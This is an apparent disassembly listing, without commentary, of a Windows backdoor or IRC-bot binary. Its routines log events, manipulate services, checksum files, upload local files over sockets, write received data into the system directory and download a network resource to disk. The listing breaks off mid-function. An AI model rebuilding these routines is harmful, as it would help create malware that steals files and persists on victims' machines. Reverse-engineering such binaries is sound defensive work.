sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_42105C ; GetLocalTime
mov ebx, offset dword_43E764
mov edi, 80h
mov esi, offset dword_43A764
loc_40B18F: ; CODE XREF: sub_40B16D+3Dj
cmp byte ptr [ebx], 0
jz short loc_40B1A6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_416D40
add esp, 0Ch
loc_40B1A6: ; CODE XREF: sub_40B16D+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40B18F
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_415A6A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40B16D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1E1 proc near ; CODE XREF: sub_407BFE+15Bp
; sub_407D86+1AFp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41748F
lea eax, [ebp+var_80]
push eax
call sub_40B16D
add esp, 14h
leave
retn
sub_40B1E1 endp
; =============== S U B R O U T I N E =======================================
sub_40B20D proc near ; CODE XREF: sub_40CE55+5482p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43A764
xor ecx, ecx
loc_40B214: ; CODE XREF: sub_40B20D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_43E764
jl short loc_40B214
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42B9CC
jnz short loc_40B244
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_412D4C
add esp, 14h
loc_40B244: ; CODE XREF: sub_40B20D+1Fj
push esi
call sub_40B16D
pop ecx
pop esi
retn
sub_40B20D endp
; =============== S U B R O U T I N E =======================================
sub_40B24D proc near ; CODE XREF: sub_4033CB+298p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43A764
loc_40B253: ; CODE XREF: sub_40B24D+27j
cmp byte ptr [esi], 0
jz short loc_40B268
push [esp+4+arg_0]
push esi
call sub_409B42
pop ecx
test eax, eax
pop ecx
jnz short loc_40B27A
loc_40B268: ; CODE XREF: sub_40B24D+9j
add esi, 80h
cmp esi, offset dword_43E764
jl short loc_40B253
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B27A: ; CODE XREF: sub_40B24D+19j
push 1
pop eax
pop esi
retn
sub_40B24D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B27F proc near ; DATA XREF: sub_40CE55+5532o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40B2D2
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42BA34
push eax
push [ebp+var_11C]
call sub_412D4C
add esp, 14h
loc_40B2D2: ; CODE XREF: sub_40B27F+33j
cmp [ebp+var_98], 0
jz short loc_40B2F2
lea eax, [ebp+var_98]
push eax
call sub_415A5F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40B2F2
mov [ebp+var_8], eax
loc_40B2F2: ; CODE XREF: sub_40B27F+5Aj
; sub_40B27F+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43A764
loc_40B2FB: ; CODE XREF: sub_40B27F+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40B355
cmp byte ptr [esi], 0
jz short loc_40B344
cmp [ebp+var_98], 0
jz short loc_40B32A
cmp [ebp+var_4], 0
jnz short loc_40B32A
lea eax, [ebp+var_98]
push eax
push esi
call sub_409B42
pop ecx
test eax, eax
pop ecx
jz short loc_40B344
loc_40B32A: ; CODE XREF: sub_40B27F+90j
; sub_40B27F+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_412D4C
add esp, 14h
loc_40B344: ; CODE XREF: sub_40B27F+87j
; sub_40B27F+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_43E764
jl short loc_40B2FB
loc_40B355: ; CODE XREF: sub_40B27F+82j
lea eax, [ebp+var_31C]
push offset dword_42BA04
push eax
call sub_4154E7
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40B38F
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_412D4C
add esp, 14h
loc_40B38F: ; CODE XREF: sub_40B27F+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40B16D
push [ebp+var_18]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_40B27F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3AE proc near ; CODE XREF: sub_409E15+1Ep
; sub_40C682+350p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42BA58
xor esi, esi
mov ebx, offset dword_42C21C
loc_40B3C1: ; CODE XREF: sub_40B3AE+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_43A34C
cmp [ebp+arg_0], esi
jz short loc_40B3FB
push [ebp+arg_0]
call sub_415CF0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_43A3BC
jmp short loc_40B405
; ---------------------------------------------------------------------------
loc_40B3FB: ; CODE XREF: sub_40B3AE+2Fj
push ebx
push [ebp+var_4]
call dword_43A304
loc_40B405: ; CODE XREF: sub_40B3AE+4Bj
push [ebp+var_4]
call dword_43A374
add edi, 8
cmp edi, offset dword_42BA70
jl short loc_40B3C1
pop edi
pop esi
pop ebx
leave
retn
sub_40B3AE endp
; =============== S U B R O U T I N E =======================================
sub_40B41E proc near ; CODE XREF: sub_40B459+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40B453
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40B437: ; CODE XREF: sub_40B41E+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_42125C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40B437
pop edi
pop ebx
loc_40B453: ; CODE XREF: sub_40B41E+Ej
mov eax, esi
pop esi
not eax
retn
sub_40B41E endp
; =============== S U B R O U T I N E =======================================
sub_40B459 proc near ; CODE XREF: sub_40BCEF+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_415DC9
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_415BE8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40B4A8
loc_40B47E: ; CODE XREF: sub_40B459+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40B4AC
inc ebx
push ebx
push esi
call sub_4174DF
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40B4A8
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_416BB0
add esp, 10h
jmp short loc_40B47E
; ---------------------------------------------------------------------------
loc_40B4A8: ; CODE XREF: sub_40B459+23j
; sub_40B459+39j
xor eax, eax
jmp short loc_40B4C7
; ---------------------------------------------------------------------------
loc_40B4AC: ; CODE XREF: sub_40B459+29j
dec ebx
push ebx
push esi
call sub_40B41E
push esi
mov ebx, eax
call sub_415E3D
push edi
call sub_415B40
add esp, 10h
mov eax, ebx
loc_40B4C7: ; CODE XREF: sub_40B459+51j
pop edi
pop esi
pop ebx
retn
sub_40B459 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4CB proc near ; CODE XREF: sub_40B551+33p
; sub_40BAB4+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43A418
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40B547
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43A398
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43A3D8
cmp eax, esi
jnz short loc_40B52C
push [ebp+arg_0]
call dword_43A41C
test eax, eax
jz short loc_40B547
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40B52C: ; CODE XREF: sub_40B4CB+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43A340
cmp eax, esi
jnz short loc_40B54B
push edi
call dword_43A430
loc_40B547: ; CODE XREF: sub_40B4CB+1Bj
; sub_40B4CB+58j
mov eax, esi
jmp short loc_40B54D
; ---------------------------------------------------------------------------
loc_40B54B: ; CODE XREF: sub_40B4CB+73j
mov eax, edi
loc_40B54D: ; CODE XREF: sub_40B4CB+7Ej
pop edi
pop esi
leave
retn
sub_40B4CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B551 proc near ; DATA XREF: sub_40CE55+A79o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40B4CB
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40B5E4
lea eax, [ebp+var_11B4]
push offset dword_42BAFC
push eax
call sub_4154E7
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B5C7
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412D4C
add esp, 14h
loc_40B5C7: ; CODE XREF: sub_40B551+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40B16D
push [ebp+var_10]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B5E4: ; CODE XREF: sub_40B551+3Fj
push offset byte_438FBC
push ebx
call sub_40A7FD
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40B64F
lea eax, [ebp+var_11B4]
push offset dword_42BAB8
push eax
call sub_4154E7
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40B62B
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412D4C
add esp, 14h
loc_40B62B: ; CODE XREF: sub_40B551+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40B16D
pop ecx
push ebx
call dword_43A430
push [ebp+var_10]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B64F: ; CODE XREF: sub_40B551+A3j
push 64h
call dword_421060 ; Sleep
xor edi, edi
mov esi, 1000h
loc_40B65E: ; CODE XREF: sub_40B551+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43A3B0
test eax, eax
jle short loc_40B6BB
lea eax, [ebp+var_11B4]
push offset asc_426CB4 ; "\n"
push eax
call sub_415C10
lea eax, [ebp+var_11B4]
push eax
call sub_40A5E9
add esp, 0Ch
test eax, eax
jz short loc_40B6BB
push 64h
call dword_421060 ; Sleep
push 7
call sub_4151DB
test eax, eax
pop ecx
jnz short loc_40B65E
loc_40B6BB: ; CODE XREF: sub_40B551+130j
; sub_40B551+154j
lea eax, [ebp+var_11B4]
push offset dword_42BA70
push eax
call sub_4154E7
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40B6EE
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_412D4C
add esp, 14h
loc_40B6EE: ; CODE XREF: sub_40B551+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40B16D
pop ecx
push ebx
call dword_43A430
push [ebp+var_10]
call sub_4152AF
pop ecx
push edi
call dword_421048 ; ExitThread
sub_40B551 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B712 proc near ; DATA XREF: sub_40CE55+46F3o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43A418
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40B760
push offset dword_42BC9C
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B760: ; CODE XREF: sub_40B712+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43A398
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43A3C4
test eax, eax
jz short loc_40B79E
push offset dword_42BC64
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B79E: ; CODE XREF: sub_40B712+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43A33C
push [ebp+var_2E]
call dword_43A2D4
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_415CF0
pop ecx
loc_40B7D0: ; CODE XREF: sub_40B712+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40B7E3
push 5Fh
pop eax
jmp short loc_40B7E6
; ---------------------------------------------------------------------------
loc_40B7E3: ; CODE XREF: sub_40B712+CAj
movsx eax, al
loc_40B7E6: ; CODE XREF: sub_40B712+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_415CF0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40B7D0
push ebx
push edi
call dword_43A3C0
test eax, eax
jz short loc_40B819
push offset dword_42BAFC
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B819: ; CODE XREF: sub_40B712+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40B843
push offset dword_42BC30
jmp loc_40B919
; ---------------------------------------------------------------------------
loc_40B843: ; CODE XREF: sub_40B712+125j
push esi
push eax
call dword_421090 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40A171
pop ecx
push eax
call dword_43A3D8
push eax
call dword_43A394
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BC18
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412D4C
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43A380
test eax, eax
jg short loc_40B8F3
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42BBEC
push eax
push [ebp+var_1FC]
call sub_412D4C
jmp loc_40BA17
; ---------------------------------------------------------------------------
loc_40B8F3: ; CODE XREF: sub_40B712+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43A42C
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40B92C
push offset dword_42BBB4
loc_40B919: ; CODE XREF: sub_40B712+49j
; sub_40B712+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40BA1A
; ---------------------------------------------------------------------------
loc_40B92C: ; CODE XREF: sub_40B712+200j
push edi
call dword_43A430
cmp [ebp+arg_0], esi
jz loc_40B9DE
mov edi, 400h
loc_40B941: ; CODE XREF: sub_40B712+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40B94E
mov [ebp+var_4], eax
loc_40B94E: ; CODE XREF: sub_40B712+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_415570
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_4210AC ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43A3E8
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43A3B0
cmp eax, ebx
jl loc_40BA73
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40BA73
sub [ebp+arg_0], eax
jnz loc_40B941
mov edi, [ebp+var_18]
loc_40B9DE: ; CODE XREF: sub_40B712+224j
push [ebp+var_8]
call dword_42106C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_40C218
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43A424
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BB60
push eax
call sub_4154E7
loc_40BA17: ; CODE XREF: sub_40B712+1DCj
add esp, 14h
loc_40BA1A: ; CODE XREF: sub_40B712+215j
cmp [ebp+var_50], esi
jnz short loc_40BA3F
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412D4C
add esp, 14h
loc_40BA3F: ; CODE XREF: sub_40B712+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40B16D
cmp edi, esi
pop ecx
jbe short loc_40BA57
push edi
call dword_43A430
loc_40BA57: ; CODE XREF: sub_40B712+33Cj
push [ebp+var_1F8]
call dword_43A430
push [ebp+var_58]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40BA73: ; CODE XREF: sub_40B712+2AFj
; sub_40B712+2BAj
push esi
mov esi, offset dword_42BB34
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_412D4C
push esi
call sub_40B16D
add esp, 18h
push [ebp+var_1F8]
call dword_43A430
push [ebp+var_58]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40B712 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BAB4 proc near ; DATA XREF: sub_40CE55+7B7o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_415D70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_40BB3E
push offset dword_42BDA4
jmp short loc_40BB84
; ---------------------------------------------------------------------------
loc_40BB3E: ; CODE XREF: sub_40BAB4+81j
push eax
call dword_42106C ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_415BE8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40BB66
push offset dword_42BD60
jmp short loc_40BB84
; ---------------------------------------------------------------------------
loc_40BB66: ; CODE XREF: sub_40BAB4+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40B4CB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40BB97
push offset dword_42BD2C
loc_40BB84: ; CODE XREF: sub_40BAB4+88j
; sub_40BAB4+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40BC91
; ---------------------------------------------------------------------------
loc_40BB97: ; CODE XREF: sub_40BAB4+C9j
mov esi, 1000h
loc_40BB9C: ; CODE XREF: sub_40BAB4+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43A3B0
mov edi, eax
cmp edi, ebx
jz loc_40BC63
cmp edi, 0FFFFFFFFh
jz short loc_40BC04
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4175FF
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43A394
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43A3E8
jmp short loc_40BB9C
; ---------------------------------------------------------------------------
loc_40BC04: ; CODE XREF: sub_40BAB4+118j
lea eax, [ebp+var_4C4]
push offset dword_42BB34
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412D4C
lea eax, [ebp+var_4C4]
push eax
call sub_40B16D
push [ebp+var_4]
call sub_415B40
add esp, 24h
push [ebp+arg_0]
call dword_43A430
push [ebp+var_1C]
call sub_4152AF
pop ecx
push 1
call dword_421048 ; ExitThread
loc_40BC63: ; CODE XREF: sub_40BAB4+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C218
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42BCD4
push eax
call sub_4154E7
add esp, 1Ch
loc_40BC91: ; CODE XREF: sub_40BAB4+DEj
cmp [ebp+var_14], ebx
jnz short loc_40BCB6
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412D4C
add esp, 14h
loc_40BCB6: ; CODE XREF: sub_40BAB4+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40B16D
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40BCD1
push [ebp+var_4]
call sub_415B40
pop ecx
loc_40BCD1: ; CODE XREF: sub_40BAB4+212j
cmp [ebp+arg_0], ebx
jbe short loc_40BCDF
push [ebp+arg_0]
call dword_43A430
loc_40BCDF: ; CODE XREF: sub_40BAB4+220j
push [ebp+var_1C]
call sub_4152AF
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40BAB4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BCEF proc near ; DATA XREF: sub_40CE55+36E9o
; sub_40CE55+3E36o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_43A348
call dword_43A2A8
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40C17B
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40BDB6
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42C060
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40BD99
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40BD99: ; CODE XREF: sub_40BCEF+88j
lea eax, [ebp+var_510]
push eax
call sub_40B16D
push [ebp+var_48]
call sub_4152AF
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40BDB6: ; CODE XREF: sub_40BCEF+68j
xor edi, edi
call dword_42104C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_415DC9
pop ecx
mov [ebp+var_1C], eax
loc_40BDD0: ; CODE XREF: sub_40BCEF+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43A2B0
cmp [ebp+var_34], esi
jz short loc_40BE14
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40C1E1
pop ecx
pop ecx
loc_40BE14: ; CODE XREF: sub_40BCEF+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_421070 ; WriteFile
cmp edi, ebx
jnb short loc_40BE52
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
